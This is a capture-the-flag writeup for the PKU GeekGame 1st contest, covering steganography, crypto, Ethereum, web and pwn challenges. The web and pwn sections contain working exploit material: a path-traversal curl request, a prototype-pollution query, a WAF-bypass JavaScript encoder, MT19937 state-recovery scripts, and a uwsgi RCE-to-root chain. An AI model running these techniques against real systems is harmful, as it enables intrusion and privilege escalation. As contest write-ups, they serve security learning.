PKU GeekGame 1st writeup

云水遥

无条件公开

https://github.com/PKU-GeekGame/geekgame-1st

Checkin

Chrome 复制,栅栏参数 2,Okular 会复制不全

flag{Have_A_Great_Time@GeekGame_v1!}

Trivia

我超,这个刚开始忘记写了,因为题目很方便地有自动保存答案记录系统

  1. 谷歌或者百度搜,搜不到结果的就是不存在的 5
  2. 搜新闻内容可提到了 407(第一次因为看太快没看出来)
  3. 这个我是搜的 Censys Certificates,这个网站数据来源还是比较全的,观察时间可以知道是 2021-07-11 之后把 GMT 的时间转成 CST 的时间即可
  4. 谷歌搜可以得到这个 welcome flag
  5. m*n 棋盘放三皇后方案数,首先用 KroneckerDelta 函数表示问题,爆算得到 4x4, 5x5, 6x6, 7x7 等的方案数 24, 204, 1024, 3628,然后搜索 OEIS 注释里面有一个公式可以算 m*n
  6. 这个看 GitHub 比赛源码 可知是 submits
  7. 直接搜就行,注意用英文搜第一个出现的是 IX 不是正确答案,但第二个就是
  8. 最困难的问题!学院官网找机构列表,有的还没有,好在标准答案在这个枚举范围里面所以可以试出来

7eaF

1

zsteg extract b1,rgb,lsb,xy 有藏图片,扫码得 Gur frperh va uvfgbtenz. => The secret in histgram

查看该二维码的直方图,扫描该条码,得出 xmcp.ltd/KCwBa

你还记得高中的时候吗?那时在市里的重点中学,我们是同桌。我以前还怪讨人嫌的,老是惹你生气,然后你就不和我说话,我就死乞白赖地求你,或者讲笑话逗你。

不过,你笑起来好可爱,从小就好可爱。此后的一切,也都是从那个笑容开始的吧。

真的,好想回到那个时候啊。

访问链接,除了文字,得出一段申必 Ook 字符串,原来是一种程序码,在线执行之即有 flag{y0u_h4ve_f0rgott3n_7oo_much}

2

查看 ID3 元数据:

USLT (这个字段就是放歌词文本的):

空无一人的房间
我望向窗外
想回到昨天

琥珀色的风
能否将 回忆传到那边
闪烁的星
照亮夜空 连成我的思念

你 在梦的另一边
站在 日落的地平线
背离这世界而去
想 在回不去的时间里
遇见你 遇见你 遇见你
遇见你 遇见你 遇见你

Comment:

你还记得吗?小时候,我家和你家都在一个大院里。放学以后,我们经常一起在院子里玩。你虽然是个女孩子,但总是能和男孩子们玩到一块去。

夏天的时候我们挖蚯蚓、捉蚂蚱;冬天,院子里的大坡上积了一层雪,我们就坐在纸箱子压成的雪橇上,一次次从坡顶滑到坡底。那个时候你还发现,坐在铁簸箕上滑得更快。

——当然,那次你也摔得挺惨的。

Total Tracks: aHR0cDovL2xhYi5tYXh4c29mdC5uZXQvY3RmL2xlZ2FjeS50Ynoy

base64 => http://lab.maxxsoft.net/ctf/legacy.tbz2

$ qemu-system-i386 -hda To_the_past.img

flag{th3_Sun5et_h0r1zon_0815}

And the final password is ItsMeMrLeaf

该 img 里还有文件 MEMORY.ZIP NOTE.TXT,然而密文过于申必,尝试了转成数字或者字母都不行(不知道是不是命令行参数出了什么问题,数字应该是对的)

如果下次还能相见,能告诉我在你身上发生了什么吗?

Unzip

ln -s /flag ./galf
zip --symlinks test.zip galf

flag{NeV3r_trUSt_Any_C0mpResSed_FIle}

Riddler

是 Jupyter Notebook

1

提取 Untitled.ipynb 内容,知 flag1 与已知 key 进行 XOR

再提取 flag1.txt 内容,进行 XOR 恢复

2

看 Jupyter 控制台记录:安装 stegolsb,隐写,7z 创建压缩包

提取 7z 文件,密码为

Wakarimasu! `date` `uname -nom` `nproc`

nproc 在 7z 启动时会说(8 CPUs)

uname 的 hostname 在 PROMPT 里,为 you-kali-vm

我趣,date 输出格式还蛮多的,准确的时间为 1636184655,经过暴力穷举(TZ=Asia/Shanghai, LC_TIME)为 Sat 06 Nov 2021 03:44:15 PM CST

stegolsb wavsteg,参数 n=1 b=76 都写在包里了,十六进制解码后对第一那个 key XOR 即可

Eth

打开 Metamask 的 expand view,用控制台执行:

eth.getStorageAt(contract, i) for i = 2, 3

s3 = 0x293edea661635aabcd6deba615ab813a7610c1cfb9efb31ccc5224c0e4b37372
s2 = 0x15eea4b2551f0c96d02a5d62f84cac8112690d68c47b16814e221b8a37d6c4d3
outs = ""
for i in range(64):
	v3 = s3 & 0xf
	v2 = s2 & 0xf
	s3 >>= 4
	s2 >>= 4
	vout = (v3 - v2 * 7 - i * 5) & 0xf
	outs += hex(vout)[-1]

outs = "".join(reversed(outs))
print(bytes.fromhex(outs))

b'\x00\x00\x00\x00\x00flag{N0_S3cReT_ON_EThEreuM}'

FaaS

1

$ curl --path-as-is "https://prob11-6fq292hk.geekgame.pku.edu.cn/api/../package.json"
{"name":"demo-server","version":"1.0.0","description":"","scripts":{"start":"node --max-http-header-size=32768 start.js"},"author":"You","license":"WTFPL","dependencies":{"jsonaas-backend":"https://geekgame.pku.edu.cn/static/super-secret-jsonaas-backend-1.0.1.tgz"}}

FLAG0==`flag{${0.1+0.2}}`

2

有一个方便的 {}.constructor.prototype 不含下划线,但是关键词贝屏蔽

发现 waf 是一个检查字符串的函数,而字符串和列表都有 indexOf,此外

"" + ["123"] === "123"

会将输入的数组变回字符串

api/demo.json?in_path=0/age&out_path[0]=constructor/prototype/activated 进行原型链污染加入 .activated = 24

flag{I-Can-ACtiVate-From-Prototype}

3

使用 /*_settings/? 替代 /*_settings? 绕过维护。用 FLAG1 打开 eval

写一个类似 JsF*ck 但是可以用数字的编码器

Javascript code
const banned = /[A-Za-z"',;_`]/;

function char(c) {
    const recipes = [
        ["true", "([]+!0)"],
        ["false", "([]+!1)"],
        ["[object", "([]+{})"],
        ["undefined", "([]+[][0])"],
    ];
    for (let [txt, repr] of recipes) {
        const i = txt.indexOf(c);
        if (i != -1) {
            return repr + `[${i}]`;
        }
    }
    throw "Not in dict";
}

function chars(s) {
    let codes = "";
    for (let c of s) {
        if (banned.test(c)) {
            codes += char(c) + "+";
        } else {
            if (codes.endsWith("`+")) {
                codes = codes.slice(0, codes.length-2) + c + "`+";
            } else {
                codes += "`" + c + "`+";
            }
        }
    }
    if (codes.endsWith("+")) codes = codes.slice(0, codes.length-1);
    return codes;
}

const headers = [
    `$9=${chars("constructor")}`,
    // function String()
    `$8=[]+([]+[])[$9]`,
    // toString
    `$7=${chars("to")}+$8[9]+$8[10]+$8[11]+$8[12]+$8[13]+$8[14]`,
    // Function: Function
    `$6=[][${chars("filter")}][$9]`,
    // Function: unescape
    // Function("return this")()["unescape"]
    `$5=$6(${chars("return")}+$8[8]+$8[4]+(17)[$7](36)+${chars("is")})()[`
    +`${chars("unesca")}+(25)[$7](36)+${char("e")}]`,
    // capital letter C
    `$4=$5(\`%43\`)`,
    // String.fromCharCode
    // String["constructor"]["fromCharCode"]
    `$=([]+[])[$9][${chars("fro")}+(22)[$7](36)+$4+(17)[$7](36)+${chars("ar")}+$4+${chars("ode")}]`
];

let header = "";
for (let hi of headers) {
    header += "(" + hi + ")&&";
}

function encode(code) {
    let enc = "";
    for (let c of code) {
        if (banned.test(c)) {
            enc += "$(" + c.charCodeAt(0) + ")+";
        } else {
            if (enc.endsWith("`+")) {
                enc = enc.slice(0, enc.length-2) + c + "`+";
            } else {
                enc += "`" + c + "`+";
            }
        }
    }
    if (enc.endsWith("+")) enc = enc.slice(0, enc.length-1);

    return header + "($6(" + enc + ")())";
}

module.exports = encode;

然后,怎么 require 了不能执行呢,我蒙古

Crypto

1

经过计算:

a' = c + k2 + k4 + k8 + k10 + k14 + k16 + k20 + k22 + k26 + k28 == c + K0
b' = d + k3 + k5 + k9 + k11 + k15 + k17 + k21 + k23 + k27 + k29 == d + K1
c' = a + c + k0 + k4 + k6 + k10 + k12 + k16 + k18 + k22 + k24 + k28 + k30 == a + c + K2
d' = b + d + k1 + k5 + k7 + k11 + k13 + k17 + k19 + k23 + k25 + k29 + k31 == b + d + K3

之后

xor = lambda x, y: list(xx ^ yy for xx, yy in zip(x, y))
tov4 = lambda m: [int.from_bytes(m[8*i:8*(i+1)], "big") for i in range(4)]

def kpa(m, c):
    m = tov4(m)
    c = tov4(c)
    K = [c[0] ^ m[2], c[1] ^ m[3], c[2] ^ m[0] ^ m[2], c[3] ^ m[1] ^ m[3]]
    return K

def decrypt(c, K):
    vc = tov4(c)
    c, d, u, v = xor(vc, K)
    return u^c, v^d, c, d

def prin(v4):
    print(b"".join(long_to_bytes(v) for v in v4))

已知 Sorry, I forget to 那句话和对应的密文,因此可以解密

flag{Fe1SteL_neTw0rk_ne3D_An_OWF}

2

注意到对于 name | namelen | keybytes | keylen 只是简单地添加了 u16 记录长度,既无分块 $< N$ 也无 pad

考虑构造一巨大数使其与 Alice 模 N 同余,这样服务器就会直接把签名的 Alice 发给我们(不完全一样,后面 0 的个数任意):

def forge(bign, maxl):
    """
    head | x | xlen === alice (mod N)
    """
    assert maxl < 2048
    head = bytes_to_long(packmess(b"A"))
    for alen in range(1, 130):
        alice = packmess(b"Alice") + packmess(b"\x00" * alen)
        alice = bytes_to_long(alice)
        if alice >= bign:
            break
        for xlen in range(1, maxl):
            right = (alice - (head << (xlen+2)*8) - xlen) % bign
            # invert = lambda a, m: pow(a, -1, m)
            x = ((invert(65536, bign) * right) % bign) & ((1<<xlen)-1)
            xx = (head << ((xlen+2)*8)) + (x<<16) + xlen
            if (xx - alice) % bign == 0:
                return xlen, x

因为我们的操作 akey = 0,产生的 newkeyoldkey 完全一样,因此对密文使用第一问的 KPA 即可

flag{RSA_1s_multIplIc4tivE_Hom0MorPHic}

原来是要利用 homomorphic 来做,难怪可以让服务器开 4 个证书给我们

Minesweeper

1 HARD

MT19937 随机数预测,进行 78(624÷8)局游戏收集棋盘,恢复 MT19937 的内部状态

稍微实验一下就会发现对于 32 的倍数个 getrandbits,第一个 state output 出现在结果的低位

恢复 624 个 u32 之后就可以预测新的棋盘了,把没有雷的地方统统踩一遍即可完成游戏

#!/usr/bin/env python3

from pwn import *
# https://github.com/tliston/mt19937
from mt19937 import mt19937, untemper

context.log_level = "debug"

#io = process(["python", "-u", "sweeper.py"])
io = remote("prob09.geekgame.pku.edu.cn", 10009)

sla = lambda t, s: io.sendlineafter(t.encode(), s.encode())
rcv = lambda: io.recvline().decode().strip()

states = []

tok = "<token>"
sla("token:", tok)

sla("(y/n)", "n")
while True:
    for i in range(16):
        sla("> ", f"0 {i}")
        if rcv() == "BOOM!":
            break
    bits = 0
    for y in range(16):
        row = rcv()
        for x, c in enumerate(row):
            if c == '*':
                bits |= 1 << (16*y+x)
    for _ in range(8):
        states += [ untemper(bits & 0xFFFFffff) ]
        bits >>= 32

    sla("(y/n)", "y")
    if len(states) == 624:
        break

mt = mt19937(0)
mt.MT = states
mt.index = 624
bits = 0
for i in range(8):
    bits |= mt.extract_number() << (32 * i)
free = []
for i in range(16):
    for j in range(16):
        x = (bits >> (i*16+j)) & 1
        if x == 0: free += [(i, j)]
for i, j in free:
    sla("> ", f"{i} {j}")
io.interactive()

2 SIMP

每次有 $\frac12$ 的概率会跳过一个块,需要预测接下来的 8 个数

易知 twist 之后状态数组里的数 M[i] 只和之前的 M[i], M[i+1], M[(i+m)%n] 有关

因此如果碰巧 M[i], M[i+1] 所在的两个块(块指连续8个数)和 M[(i+m)%n] 所在的两个块出现在结果中就可预测随机数

程序每次扫描之前出现的 2×624 个结果,如果最后生成的一个数能被已知数组表示,就用已知数组中对应位置后 8 个项去预测

实际上轮数大约 120 就可以跑出来,这个方法也不算太差

#!/usr/bin/env python3

from pwn import *
from mt19937 import untemper

context.log_level = "debug"

#io = process(["python", "-u", "sweeper.py"])
io = remote("prob09.geekgame.pku.edu.cn", 10009)

sla = lambda t, s: io.sendlineafter(t.encode(), s.encode())
rcv = lambda: io.recvline().decode().strip()

states = []

tok = "<token>"
sla("token:", tok)

def xA(xi, xii):
    x = (xi & 0x8000_0000) + (xii & 0x7fff_FFFF)
    xa = x >> 1
    if x & 1:
        xa ^= 0x9908B0DF
    return xa

def temper(y):
    y = y ^ ((y >> 11) & 0xFFFFffff)
    y = y ^ ((y << 7) & 0x9D2C5680)
    y = y ^ ((y << 15) & 0xEFC60000)
    y = y ^ (y >> 18)
    return y

def dword():
    dw = 0
    for y in range(2):
        row = rcv()
        for x, c in enumerate(row):
            if c == '*':
                dw |= 1 << (16*y+x)
    dword.last = dw
    return dw

# The ancient spirits of light and dark have been released
sla("(y/n)", "y")
count = 0
while True:
    count += 1
    found = False

    if len(states) > 624:
        last = untemper(dword.last)
        work = states[-2*624:]

        for i, x in enumerate(work[:-8]):
            cand = xA(x, work[i+1]) ^ last
            if cand in work:
                j = work.index(cand)
                if j < len(work) - 8:
                    found = True
                    break
    if found:
        bits = 0
        for ii in range(8):
            # note this off by one
            bits |= temper(work[j+ii+1] ^ xA(work[i+ii+1], work[i+ii+2])) << (32 * ii)
        free = []
        for i in range(16):
            for j in range(16):
                x = (bits >> (i*16+j)) & 1
                if x == 0: free += [(i, j)]
        
        die = False
        for i, j in free:
            sla("> ", f"{i} {j}")
            if rcv() == "BOOM!":
                die = True
                break
        if not die:
            io.interactive()
    else:
        for i in range(16):
            sla("> ", f"0 {i}")
            if rcv() == "BOOM!":
                break
    for _ in range(8):
        states += [ untemper(dword()) ]

    if count >= 2000:
        print("fail")
        exit(0)
    sla("(y/n)", "y")

ChatRoom

查看聊天记录可以路径穿越读取文件,读取一下 /tmp/uwsgi-ctf.ini

[uwsgi]
socket = :3031
chdir = /usr/src/ufctf
manage-script-name = true
mount = /=app:app
master = true
uid = nobody
gid = nogroup
workers = 2
buffer-size = 65535
enable-threads = true
pidfile = /tmp/uwsgi.pid

读取 /etc/supervisor-ctf.conf 得知 uwsgi 是用 root 运行的,但 app 不是

用 UWSGI RCE 列一下目录(输出到聊天记录文件)发现这文件是 666 的,用 echo ... | base64 -d > /tmp/uwsgi-ctf.ini 改写,删除 uid 与 gid 两行,再用 kill 54 57 58 终止 uwsgi 进程,等待被 supervisord 重启后就有 root 权限了

flag{UwSg1_is_n0t_safE_wheN_sSrf}


Newer: 穿越虚拟混凝土

Older: USTC Hackergame 2021 writeup

Back to: Listing G2R